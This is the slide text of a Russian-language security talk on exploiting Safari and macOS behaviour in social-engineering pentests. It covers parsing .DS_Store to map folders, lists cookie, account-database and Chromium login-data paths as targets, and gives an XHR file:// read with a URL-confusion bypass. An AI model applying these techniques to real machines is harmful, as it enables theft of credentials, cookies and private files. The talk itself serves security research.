Offensive: Pizding: эксплуатация особенностей safari в социотехническом пентесте. Bo0oM

1. Эксплуатация особенностей
Safari
И конечно же MacOS

2. Whoami
@i_bo0om / bo0om.ru

4. .DS_Store
Расширение DS_STORE хранит настройки просмотра
папки в Mac OS X, включает в себя информацию о
расположении окна папки, размере окна, опции
просмотра, которые были выбраны (значки, список или
таблица), и внешний вид значков в окне. Система
создает эти файлы автоматически с целью ускорить
процесс последующего открытия данной папки. Бла-
бла-бла бла-бла бла-бла-бла-бла бла-бла бла-бла
бла-бла бла

5. .DS_Store
python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage",
"Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config",
".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "echnique",
"PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud",
".iterm2", ".Trash", "Scripts", "SoapUI-Tutorials", "Dumps", "Movies",
"MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]

6. ~/Library/Cookies
Cookies.binarycookies
HSTS.plist
SafariNotificationAgent.binarycookies
com.apple.Safari.SearchHelper.binarycookies
com.apple.Safari.cookies
com.apple.accountsd.binarycookies
com.apple.appstore.cookies
com.apple.iTunes.binarycookies
com.apple.ibooks.cookies
com.apple.spotlight.cookies
com.apple.systempreferences.binarycookies
com.apple.twitter.xpc.binarycookies
com.feingeist.Shimo.binarycookies
com.getdropbox.DropboxMetaInstaller.binarycookies
com.hnc.Discord.binarycookies
com.macpaw.CleanMyMac3.binarycookies
com.p5sys.jump.mac.viewer.web.binarycookies
com.parallels.desktop.console.binarycookies
com.parallels.toolbox.binarycookies
com.skype.skype.binarycookies

7. ~/Library/Accounts
Accounts4.sqlite
Accounts4.sqlite-shm
Accounts4.sqlite-wal

8. Chrome/Chromium
~/Library/Application Support/Chromium/Default/Login Data
~/Library/Application Support/Chromium/Default/Cookies
~/Library/Application Support/Chromium/Default/History

9. Safari XHR

10. Safari XHR

11. Вернемся к DS_Store
~/.Trash/.DS_Store
["Удаленное", "accounts", "logs.txt"]
~/Documents/.DS_Store
["Работа", "паспорт.docx", "1.docx", "Олжас_интим_фото.zip", "Слайдер", "123", "test"]
~/Desktop/.DS_Store
["IMG9933.jpg", "IMG9932.jpg", "IMG9931.jpg", "IMG9933.jpg"]
~.DS_Store
["Soft", "Backups", "123123", ".ssh", ...]

12. Рекурсивненько!
~.DS_Store
["Soft", "Backups", "123123", ".ssh" ...]
~/Backups/.DS_Store
[”2017", ”2016", ”2015"...]
~/Backups/2017/.DS_Store
[“sql”, “logs” ...]

13. Ок. А как узнать имя пользователей мака?

14. /etc/passwd?

15. Решение – пара файлов логов

16. xhr.open('GET', 'file://'+file+', false);

17. xhr.open('GET', 'file://'+file+';/https:%2f%2fgoogle.com/', false);

18. Webarchive, xhtm

19. Ну че, го затестим?